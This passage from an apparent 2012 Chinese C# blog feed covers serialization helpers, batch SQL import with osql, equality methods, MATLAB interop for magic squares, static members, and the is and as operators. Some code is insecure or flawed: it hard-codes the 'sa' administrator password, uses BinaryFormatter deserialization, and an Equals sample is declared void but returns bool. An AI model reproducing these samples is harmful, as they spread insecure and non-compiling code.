&lt;p&gt;注意，书上有个例子没有给出默认的构造函数，实际测试时如果没有默认构造函数，是不能执行xml序列化的。注意。&lt;/p&gt;
&lt;p&gt;然后就导入需要的命名空间。
需要导入&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Xml.Serialization;&lt;/pre&gt; 
&lt;p&gt;分贝对应文件操作，二进制序列化和xml序列化&lt;/p&gt;
&lt;p&gt;为了方便，我封装了四个静态函数，用于实现序列化和反序列化。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt; //封装二进制序列化方法
        public static void BinarySerialize(UserData user)
        {
            FileStream fs = new FileStream(&#34;user.bin&#34;, FileMode.Create);
            BinaryFormatter formater = new BinaryFormatter();
            //执行序列化
            formater.Serialize(fs, user);
            fs.Close();
        }

        //封装二进制反序列化方法
        public static UserData BinaryDeserialize()
        {
            FileStream fs = new FileStream(&#34;user.bin&#34;, FileMode.Open, FileAccess.Read, FileShare.Read);
            BinaryFormatter formater = new BinaryFormatter();
            UserData user = formater.Deserialize(fs) as UserData;
            fs.Close();
            return user;
        }

        //封装xml序列化方法
        public static void XmlSerialize(UserData user)
        {
            XmlSerializer serializer = new XmlSerializer(typeof(UserData));
            FileStream fs = new FileStream(&#34;user.xml&#34;, FileMode.Create);
            serializer.Serialize(fs, user);
            fs.Close();
        }

        //封装xml反序列化方法
        public static UserData XmlDeserialize()
        {
             XmlSerializer serializer = new XmlSerializer(typeof(UserData));
            FileStream fs = new FileStream(&#34;user.xml&#34;, FileMode.Open);
            UserData user = serializer.Deserialize(fs) as UserData;
            fs.Close();
            return user;
        }&lt;/pre&gt; 
&lt;p&gt;代码比较简单。
最后是一个简单的测试。&lt;/p&gt;</description>
    </item>
    <item>
      <title>CSV批量导入解决</title>
      <link>http://blog.leaver.me/2012/07/06/csv%E6%89%B9%E9%87%8F%E5%AF%BC%E5%85%A5%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Fri, 06 Jul 2012 18:28:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/06/csv%E6%89%B9%E9%87%8F%E5%AF%BC%E5%85%A5%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;　　最近的一个事就是那个诡异的CSV导入，后来决定用最笨的方法。就是readline，然后确实是可以正常识别了。思路就是一行行读入，然后构造sql语句，保存为sql文件，然后去批量执行sql文件。其实在codeproject找到了一些类似的工具，都有不如意的地方，但是时间关系还没能自己去定制，这件事完成后，就去完善一下大牛们的工具。&lt;/p&gt;
&lt;p&gt;　　因为是多个csv文件，每个文件对应于我们想建的一个表，实际是大约2000个csv文件，每个文件大约4000行数据，构造成对应的sql语句比较简单，需要注意的就是如果sql server表中的字段和关键字重名，那么需要加[]，比如我们有个字段是open，那么实际sql语句中使用的时候，比如&lt;/p&gt;
&lt;pre class=&#34;lang:pgsql decode:true &#34; &gt;CREATE TABLE 
(
   [open] decimal not null,
)&lt;/pre&gt; 
&lt;p&gt;　　简单的读写以后我们构造了2000个sql文件，然后我们需要执行这些sql文件。。必然需要写个代码来批量执行了。。为此，我先用C#生成一个批处理文件，然后来执行&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;void GetBat(string InputPath,string OutFile)
        {
            DirectoryInfo di = new DirectoryInfo(InputPath);
            FileInfo[] fi = di.GetFiles();  // Create an array representing the files in the current directory
            StringBuilder strtemp = new StringBuilder();
            foreach (FileInfo fiTemp in fi)
            {
                string temp = &#34;osql -S \&#34;127.0.0.1\&#34;  -U \&#34;sa\&#34; -P \&#34;broker\&#34; -d \&#34;test_money\&#34; -i \&#34;&#34;;
                temp += fiTemp.FullName.ToString() + &#34;\&#34;\n&#34;;
                strtemp.Append(temp);
            }

            FileStream fs = new FileStream(OutFile, FileMode.OpenOrCreate);
            StreamWriter sw = new StreamWriter(fs);
            sw.WriteLine(strtemp);
            sw.Close();
            fs.Close();
        }&lt;/pre&gt; 
&lt;p&gt;　　简单封装了一下，输入参数是文件夹。里面包含我们的所有sql文件。输出为一个批处理文件。。后来。执行下生成的bat文件就可以了。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMKR.sql&#34;
osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMLJ.sql&#34;
osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMLN.sql&#34;
&lt;/pre&gt; 
&lt;p&gt;600M的sql文件执行起来三个多小时。。因为只算一次，所以就不考虑优化了。。鄙视我们吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《Effective C#》Item 9：区别和认识四个判等函数</title>
      <link>http://blog.leaver.me/2012/07/05/effective-c%23item-9%E5%8C%BA%E5%88%AB%E5%92%8C%E8%AE%A4%E8%AF%86%E5%9B%9B%E4%B8%AA%E5%88%A4%E7%AD%89%E5%87%BD%E6%95%B0/</link>
      <pubDate>Thu, 05 Jul 2012 22:56:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/05/effective-c%23item-9%E5%8C%BA%E5%88%AB%E5%92%8C%E8%AE%A4%E8%AF%86%E5%9B%9B%E4%B8%AA%E5%88%A4%E7%AD%89%E5%87%BD%E6%95%B0/</guid>
      <description>&lt;p&gt;　　.Net有四个判等函数？不少人看到这个标题，会对此感到怀疑。事实上确是如此，.Net提供了ReferenceEquals、静态Equals，具体类型的Equals以及==操作符这四个判等函数。但是这四个函数之间有细微的关系，改变其中一个函数的实现会影响到其他函数的操作结果。&lt;/p&gt;
&lt;p&gt;　　首先要说的是Object.ReferenceEquals和Object.Equals这两个静态函数，对于它们俩来说，是不需要进行重写的，因为它们已经完成它们所要得做的操作。&lt;/p&gt;
&lt;p&gt;对于Object.ReferenceEquals这个静态函数，函数形式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public static bool ReferenceEquals( object left, object right );&lt;/pre&gt;
&lt;p&gt;　　这个函数就是判断两个引用类型对象是否指向同一个地址。有此说明后，就确定了它的使用范围，即只能对于引用类型操作。那么对于任何值类型数据操作，即使是与自身的判别，都会返回false。这主要因为在调用此函数的时候，值类型数据要进行装箱操作，也就是对于如下的形式来说。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;int n = 10;
Object.ReferenceEquals( n, n );&lt;/pre&gt;
&lt;p&gt;这是因为对于n这个数据装箱两次，而每次装箱后的地址有不同，而造成Object.ReferenceEquals( n, n )的结果永远为false。&lt;/p&gt;
&lt;p&gt;对于第一个判等函数来说，没有什么好扩展的，因为本身已经很好地完成了它所要做的。&lt;/p&gt;
&lt;p&gt;对于第二个Object.Equals这个静态函数，其形式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public static bool Equals( object left, object right );&lt;/pre&gt;
&lt;p&gt;　　按照书中对它的分析，其大致函数代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public static void Equals( object left, object right )
{
  // Check object identity
  if( left == right )
     return true;

// both null references handled above
if( ( left == null ) || ( right == null ) )
   return false;
  return left.Equals( right );
}&lt;/pre&gt;
&lt;p&gt;　可以说，Object.Equals这个函数完成判等操作，需要经过三个步骤，&lt;/p&gt;
&lt;p&gt;第一步是需要根据对象所属类型的==操作符的执行结果；&lt;/p&gt;
&lt;p&gt;第二步是判别是否为null，也是和第一步一样，需要根据类型的==操作符的执行结果；&lt;/p&gt;
&lt;p&gt;最后一步要使用到类型的Equals函数的执行结果。&lt;/p&gt;
&lt;p&gt;也就是说这个静态函数的返回结果，要取决于后面要提到的两个判等函数。类型是否提供相应的判等函数，成为这个函数返回结果的重要因素。&lt;/p&gt;
&lt;p&gt;　　那么对于Object.Equals这个静态方法来说，虽说接受参数的类型也属于引用类型，但是不同于Object.ReferenceEquals函数，对于如下的代码，能得出正确的结果。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;int n = 10;
Debug.WriteLine( string.Format( &#34;{0}&#34;, Object.Equals( n, n ) ) );
Debug.WriteLine( string.Format( &#34;{0}&#34;, Object.Equals( n, 10 ) ) );&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这是因为在此函数中要用到具体类型的两个判等函数，不过就函数本身而言，该做的判断都做了，因此不需要去重载添加复杂的操作。&lt;/p&gt;
&lt;p&gt;为了更好的述说剩下两个函数，先解释一下等价的意义。对于等价的意义，就是自反、对称以及传递。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;所谓自反，即a == a；&lt;/li&gt;
&lt;li&gt;而对称，是a == b，则b == a；&lt;/li&gt;
&lt;li&gt;传递是 a == b，b == c，则 a == c；
理解等价的意义后，那么在实现类型的判等函数也要满足这个等价规则。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于可以重载的两个判等函数，首先来介绍的是类型的Equals函数，其大致形式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public override bool Equals( object right );

那么对于一个类型的Equals要做些什么操作呢，一般来说大致如下：
public class KeyData
{
private int nData;
public int Data
{
   get{ return nData;}
   set{ nData = value; }
}

public override bool Equals( object right )
{
//Check null
if( right == null )
   return false;

//check reference equality
if( object.ReferenceEquals( this, right ) )
   return true;

//check type
if( this.GetType() != right.GetType() )
   return false;

//convert to current type
  KeyData rightASKeyData = right as KeyData;

//check members value
  return this.Data == rightASKeyData.Data;
 }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>Unable to read file Data_EGCITest解决方法</title>
      <link>http://blog.leaver.me/2012/07/03/unable-to-read-file-data_egcitest%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</link>
      <pubDate>Tue, 03 Jul 2012 19:50:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/03/unable-to-read-file-data_egcitest%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</guid>
      <description>&lt;p&gt;　　今天做的是使用matlab进行协整检验，好吧。。听起来似乎很厉害的样子，其实，我也不太清楚协整到底是干嘛呢。不过经管的各位很给力。
想来协整检验matlab是可以做的。所以就去查matlab是不是有这个函数，结果是有的。egcitest，但是具体的参数还是景观的朋友看懂的。&lt;/p&gt;
&lt;p&gt;　　早上3点多起床，看matlab的书，然后早上看完了。基本上熟悉了matlab的操作。然后就开始写这个。大致的流程和昨天的那篇文章是一致的。但是matlab生成的dll文件在C#里面调用始终会提示这样一个错误。：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;MWMCR::EvaluateFunction error ... Error using ==&amp;gt; 
load Unable to read file Data_EGCITest: No such file or directory. Error in =&amp;gt; test.m&lt;/pre&gt;
&lt;p&gt;　　组合了几个关键字进行搜索，发现了&lt;a href=&#34;http://www.mathworks.cn/matlabcentral/answers/33037-matlab-builder-ne-exception-with-supposedly-toolbox-support&#34;&gt;这篇文章&lt;/a&gt;，翻译过来很简单。&lt;/p&gt;
&lt;p&gt;　　错误提示说的那个Data_EGCITest是一个名为Data_EGCITest.mat的文件，位于$MATLABROOT/toolbox/econ/econ/Data_EGCITest.mat目录下，$MATLABROOT指的是你matlab的安装路径。在你build 工程的时候，在下图中，记得添加这个文件。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/24000_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9f98cf04debe57b3ec360a6b3ae27c8995579770.jpg&#34; title=&#34;操作&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　然后build生成的dll文件就可以正常在C#里使用了。&lt;/p&gt;
&lt;p&gt;　　中间走了很多弯路。因为我想既然matlab都编译生成了dll，那么dll应该没问题。然后我就把精力放在了C#那边。。结果后来折腾了很长时间，才发现是这边的问题。。坑爹。。&lt;/p&gt;
&lt;p&gt;　　协整检验的代码就不发了。和题目没关系。。
参考：
　　&lt;a href=&#34;http://www.mathworks.cn/help/toolbox/econ/egcitest.html&#34;&gt;http://www.mathworks.cn/help/toolbox/econ/egcitest.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#调用MatLab实现N阶幻方</title>
      <link>http://blog.leaver.me/2012/07/02/c%23%E8%B0%83%E7%94%A8matlab%E5%AE%9E%E7%8E%B0n%E9%98%B6%E5%B9%BB%E6%96%B9/</link>
      <pubDate>Mon, 02 Jul 2012 18:39:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/02/c%23%E8%B0%83%E7%94%A8matlab%E5%AE%9E%E7%8E%B0n%E9%98%B6%E5%B9%BB%E6%96%B9/</guid>
      <description>&lt;p&gt;　　MatLab的计算能力太强大了。最近需要通过C#来调用MatLab来进行一些计算，可是MatLab没用过。安装文件在我硬盘里躺了整整一年。&lt;/p&gt;
&lt;p&gt;　　我们希望的是由外部程序调用MatLab函数。所以。希望可以完全脱离MATLAB环境，实现软件的快速开发。为此需要先介绍一下MCR。&lt;/p&gt;
&lt;h3 id=&#34;mcr简介&#34;&gt;MCR简介&lt;/h3&gt;
&lt;p&gt;　　 MCR的全称是MATLAB Compiler Runtime，即MATLAB编译器运行时。是一个由MATLAB共享类库构成的执行引擎，他能够使MATLAB文件在没有MATLAB的机器上运行。这一点和.NET Framework相对于.NET程序一样，即为程序的运行提供了底层支持。当发布程序的时候，需要将MCR也打包进来，这样没有MATLAB的机器上也能执行，MCR随MATLAB软件一同发布，可以在MATLAB中输入命令“mcr”或者“mcrinstaller”获取其保存路径：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;&amp;gt;&amp;gt; mcr
The WIN32 MCR Installer, version 7.15, is:
    D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe

MCR installers for other platforms are located in:
    D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\&amp;lt;ARCH&amp;gt;
  &amp;lt;ARCH&amp;gt; is the value of COMPUTER(&#39;arch&#39;) on the target machine.

Full list of available MCR installers:
D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe

For more information, read your local MCR Installer help.
Or see the online documentation at MathWorks&#39; web site. (Page may load slowly.)&lt;/pre&gt; 
&lt;p&gt;　　根据上面的运行结果，可知该文件的完整路径是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe&lt;/pre&gt; 
&lt;h3 id=&#34;mwarray-api简介&#34;&gt;MWArray API简介&lt;/h3&gt;
&lt;p&gt;　MCR包含了文件MWArray.dll，该文件中的API承担了用户程序和MCR之间数据交换的任务，因此，每一个独立文件都需要包含对该文件的引用，否则程序就不能使用MATLAB中的函数，为使用该文件，需要先使用上一步找到的安装MCR，我安装在D:\Program Files\MATLAB\MATLAB Compiler Runtime目录，然后该dll该文件在安装完MCR后位于：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;D:\Program Files\MATLAB\MATLAB Compiler Runtime\v715\toolbox\dotnetbuilder\bin\win32\v2.0，名字是MWArray.dll，&lt;/pre&gt; 
&lt;p&gt;　　另外，该文件中有两个重要的命名空间，MathWorks.MATLAB.NET.Arrays和MathWorks.MATLAB.NET.Utility，Arrays命名空间下的类提供从其他任何兼容CLS（Common Language Specification） 语言访问MATLAB中数组的功能，这些类支持数组格式化、类型的特定索引和错误处理的功能。而Utility命名空间下的类提供了对MWArray类架构和MATLAB公共运行时的托管API的通用支持。&lt;/p&gt;
&lt;h3 id=&#34;实施&#34;&gt;实施&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;为了将MATLAB中的程序作为组件提供给其他.NET程序使用，需要做两方面的工作：&lt;/p&gt;
&lt;p&gt;1.将M文件打包为与.NET兼容的程序集&lt;/p&gt;
&lt;p&gt;2.在外部程序中添加对程序集的引用&lt;/p&gt;
&lt;h3 id=&#34;matlab端的工作&#34;&gt;MATLAB端的工作&lt;/h3&gt;
&lt;p&gt;　　以我这个功能为例。打开MatLab，然后File-&amp;gt;New-&amp;gt;Deployment Project.然后在Type里选择.net Assembly,Ok即可。我选择的工程名是test，注意，这个test就会生成一个名为test.dll的程序集，所以起个好名字，，我没起好。如图1
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23964_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/494daca0321a65539ea6b2c7d6d3155345c3c32d.jpg&#34; title=&#34;start&#34;&gt;&lt;/a&gt;
　　然后在图2的视图中定位到你选择的工程目录，并依次点击。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23966_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b2e74076bfe76e6aeac6b3b7365668d2f23431fe.jpg&#34; title=&#34;step&#34;&gt;&lt;/a&gt;
　　添加一个test.m的文件。图3
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23965_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/110d97e0942789e04445dd3d3eee89873c49de11.jpg&#34; title=&#34;test&#34;&gt;&lt;/a&gt;这个名称随意。但是要注意，这个名字必须和你里面将要写的那个函数名称一致，这个很好理解。好了以后，双击test.m就会打开。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;function m=test(n)
m=magic(n);
end&lt;/pre&gt; 
&lt;p&gt;　　创建一个test方法。该方法在C#调用的时候要用到，接受一个参数，然后输出一个幻方。保存关闭m文件，然后回到上图，双击test.prj也就是工程文件。
来到图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23967_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5ab49b4504bc1aba33d62b3c2cfbf897656c751d.jpg&#34; title=&#34;add&#34;&gt;&lt;/a&gt;
　　点击Add Class，就是向test.dll的程序集中添加类。我添加了一个类叫做Func1.这个类用来在C#中创建一个对象，然后调用test（n）这个函数，然后出现Add Files，点击打开浏览框，把刚才写好的test.m选上。就可以了
　　最后看窗口右上角，，点击那个build图标就ok，等个几分钟，就会在目录里生成test.dll文件了。图5
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23968_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4e21f5823ece422097e73e2321e43b3b09a2cb7a.jpg&#34; title=&#34;build&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;vs端的代码&#34;&gt;VS端的代码&lt;/h3&gt;
&lt;p&gt;　　现在，打开vs，创建C#工程，添加两个引用，分别是MWArray.dll和test.dll，添加引用的方法就是在解决方案资源管理器中，的引用上，点击，然后添加引用-&amp;gt;浏览-&amp;gt;找到这两个dll，为了方便，我一般会把这两个dll复制到我的C#工程目录里，然后添加引用，如前面所说，MWArray.dll里有两个命名空间，我们使用using语句都添加上。也包括生成的test.dll&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using test;
using MathWorks.MATLAB.NET.Arrays;
using MathWorks.MATLAB.NET.Utility;&lt;/pre&gt; 
&lt;p&gt;　　然后设计C#界面，很简单的拖一个界面，图6
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23969_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/07a97d0fe021665574597469b813e53dc6b48677.jpg&#34; title=&#34;ui&#34;&gt;&lt;/a&gt;
　　然后单击事件代码：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;            Func1 f = new Func1(); 
            MWNumericArray na = null;
            MWArray[] ansArray = null; 
            int i = Convert.ToInt16(textBox1.Text); 
            ansArray = f.test(1, i); 
            na = (MWNumericArray)ansArray[0];//只有一个数组返回
            MessageBox.Show(na.ToString());&lt;/pre&gt; 
&lt;p&gt;　　看到test有两个参数，第一个参数是指返回结果书，我们只需要一个就好了。所以为1，后面那个是阶数了。运行结果如图7：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23970_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/891d04e30b4742ae3ca5b851d5fc379cc3d10950.jpg&#34; title=&#34;result&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的静态与非静态</title>
      <link>http://blog.leaver.me/2012/07/02/c%23%E4%B8%AD%E7%9A%84%E9%9D%99%E6%80%81%E4%B8%8E%E9%9D%9E%E9%9D%99%E6%80%81/</link>
      <pubDate>Mon, 02 Jul 2012 05:30:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/02/c%23%E4%B8%AD%E7%9A%84%E9%9D%99%E6%80%81%E4%B8%8E%E9%9D%9E%E9%9D%99%E6%80%81/</guid>
      <description>&lt;h3 id=&#34;为什么要分静态和非静态&#34;&gt;为什么要分静态和非静态&lt;/h3&gt;
&lt;p&gt;在面向对象的世界里，大部分的情况都是实例特征主宰天下，类相当于一个类型模板，而对象则是类特征的拷贝，并且独立于其他对象来操作这些特征，但是在某些情况下，需要某些特征被所有的对象共公有，因此有必要实现一种基于类的特征，而不是基于实例对象的特征机制，这就是静态特征。&lt;/p&gt;
&lt;h3 id=&#34;1静态类和非静态类&#34;&gt;1.静态类和非静态类&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;一个类如果包含静态成员和静态方法，那么该类就可以定义为静态类，定义方法是在类定义前加上static，比如&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;static class MyClass
{
//define the class
}&lt;/pre&gt; 
&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态类只能包含静态成员和静态方法，否则会抛出编译错误，而非静态类既可以包含非静态成员和非静态方法，还可以包含静态成员和静态方法。但不能作用于静态只读字段。&lt;/li&gt;
&lt;li&gt;静态类不可实例化，非静态类可以实例化，不管是静态类还是非静态类，对静态成员和静态方法的调用都必须通过类来实现访问。&lt;/li&gt;
&lt;li&gt;相对于非静态类来说，静态类有一些特点值得应用，比如System.Console这个典型的静态类。&lt;/li&gt;
&lt;li&gt;如果一个类只包含静态成员和静态方法，就应该将该类标记为static，并提供私有的构造函数来避免用户实例创建对象，这也是MonoState模式的体现。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3 id=&#34;2静态构造函数和实例构造函数&#34;&gt;2.静态构造函数和实例构造函数&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;静态构造函数，&lt;strong&gt;只能&lt;/strong&gt;用于初始化类中的静态成员，包括静态字段和静态属性，静态构造函数不能带参数，不能有访问修饰符也不能被手工调用，通过是在.net运行库第一次调用类成员之前执行。其中，实例构造函数中也是可以初始化静态成员的。&lt;/p&gt;
&lt;h3 id=&#34;比较-1&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态构造函数，可以和无参的构造函数共存。虽然参数列表相同，但是二者的执行顺序不同，静态构造函数在运行库加载类时执行，而实例构造函数在实例创建时执行。&lt;/li&gt;
&lt;li&gt;静态构造函数，只能对静态成员进行初始化操作，不能作用于非静态成员，而实例构造函数二者都可以，当然如前面所说，对静态只读字段就不可以了。&lt;/li&gt;
&lt;li&gt;静态构造函数只被执行一次，而且.net运行库也不知道什么时候会被执行，而实例构造函数可以在多次实例创建时被执行多次。&lt;/li&gt;
&lt;li&gt;一个类只能有一个静态构造函数，但是可以有多个实例构造函数。&lt;/li&gt;
&lt;li&gt;一般来说，简单的静态成员可以在声明时就进行初始化，而复杂的静态成员则选择在静态构造函数中进行初始化较佳。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3 id=&#34;3静态成员和实例成员&#34;&gt;3.静态成员和实例成员&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;静态成员主要包括静态字段和静态属性，静态成员可以实现在类中能够被所有实例对象共享的数据。例如一个缴费登记系统中，消费总额作为所以消费的综合，静态成员来实现就有很好。没有不必要的数据冗余。&lt;/p&gt;
&lt;h3 id=&#34;比较-2&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态成员包括静态字段和静态属性，静态字段一般实现为private，而静态属性一般为public，以体现类的封装原则。&lt;/li&gt;
&lt;li&gt;静态成员和类关联，不依赖对象存在，只能由类访问，而不能由对象访问，实例成员和具体的对象关联，只能由对象访问，不能由类访问。&lt;/li&gt;
&lt;li&gt;静态成员属于类所有，不论创建多少个实例对象，静态成员在内存中只有一份，实例成员属于对象实例所有，每个都有其对应的内存区域。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;4静态方法和实例方法&#34;&gt;4.静态方法和实例方法&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;类似于静态成员共享数据段，静态方法共享代码段，静态方法以static标识。&lt;/p&gt;
&lt;h3 id=&#34;比较-3&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;性能上，静态方法和实例方法差别不大，所有方法，不管是静态的还是非静态的，都是在JIT加载类时分配内存，不同的是静态方法以类名引用，而静态方法以对象引用，创建实例时，不会再为类的方法分配内存，所有的实例对象公用一个类的方法代码，因此，静态方法和实例方法的调用，区别仅在于实例方法需要当前对象指针指向该方法，而静态方法可以直接调用，性能上差异微乎其微。&lt;/li&gt;
&lt;li&gt;静态方法只能访问静态成员和静态方法，可以间接通过创建实例对象来访问实例成员和实例方法，而实例方法可以直接全部。。&lt;/li&gt;
&lt;li&gt;静态方法只能由类来访问，实例方法只能由对象来访问。&lt;/li&gt;
&lt;li&gt;静态方法中不能使用this关键字，否则编译错误，而实例方法中可以引用。&lt;/li&gt;
&lt;li&gt;静态方法不能被标记为virtual，abstract或是override，静态方法可以被派生类访问，但是不能被覆写。&lt;/li&gt;
&lt;li&gt;Main方法是静态的，因此Main方法不能直接访问Main所在类的实例方法和成员。&lt;/li&gt;
&lt;li&gt;鉴于线程处理的安全性，应该避免提供改变静态状态的静态方法，因为，如果多线程同时访问该段代码，可能造成线程处理错误，因此，静态状态必须是线程安全的。&lt;/li&gt;
&lt;li&gt;静态方法适合系统中边缘性的非业务需要，例如通用的工具类。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C＃中的is和as</title>
      <link>http://blog.leaver.me/2012/07/01/c%E4%B8%AD%E7%9A%84is%E5%92%8Cas/</link>
      <pubDate>Sun, 01 Jul 2012 05:52:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/01/c%E4%B8%AD%E7%9A%84is%E5%92%8Cas/</guid>
      <description>&lt;p&gt;is和as都是用作类型转换的，类型转换包括显示转换和隐式转换，在.NET中类型转换的基本规则如下：&lt;/p&gt;
&lt;h3 id=&#34;基本规则&#34;&gt;基本规则&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;任何类型都可以安全的转换为其基类类型，可以由隐式转换来完成；&lt;/li&gt;
&lt;li&gt;任何类型转换为其派生类型时，必须进行显示转换，转换的规则是：（类型名）对象名；&lt;/li&gt;
&lt;li&gt;使用GetType可以取得任何对象的精确类型；&lt;/li&gt;
&lt;li&gt;基本类型可以使用Covert类实现类型转换；&lt;/li&gt;
&lt;li&gt;除了string以外的其他类型都有Parse方法，用于将字符串类型转换为对应的基本类型；&lt;/li&gt;
&lt;li&gt;值类型和引用类型的转换机制称为装箱（boxing）和拆箱（unboxing）。
is和as操作符，是C#中用于类型转换的，提供了对类型兼容性的判断，从而使得类型转换控制在安全的范畴，提供了灵活的类型转换控制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;is的模式如下&#34;&gt;is的模式如下：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;检查对象类型的兼容性，并返回结果，true或者false；&lt;/li&gt;
&lt;li&gt;不会抛出异常；&lt;/li&gt;
&lt;li&gt;如果对象为null，则返回值永远为false。
使用很简单，用于条件判断中.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;object o=new object();
if(o is ISSsample)
 {
    //转换
    ISSample a =(ISSample)o;
 }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h3 id=&#34;as的模式如下&#34;&gt;as的模式如下：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;检查对象类型的兼容性，并返回转换结果，如果不兼容就返回null；&lt;/li&gt;
&lt;li&gt;不会抛出异常；&lt;/li&gt;
&lt;li&gt;如果结果判断为空，则强制执行类型转换将抛出NullReferenceException异常。&lt;/li&gt;
&lt;li&gt;as必须和引用类型一起使用&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
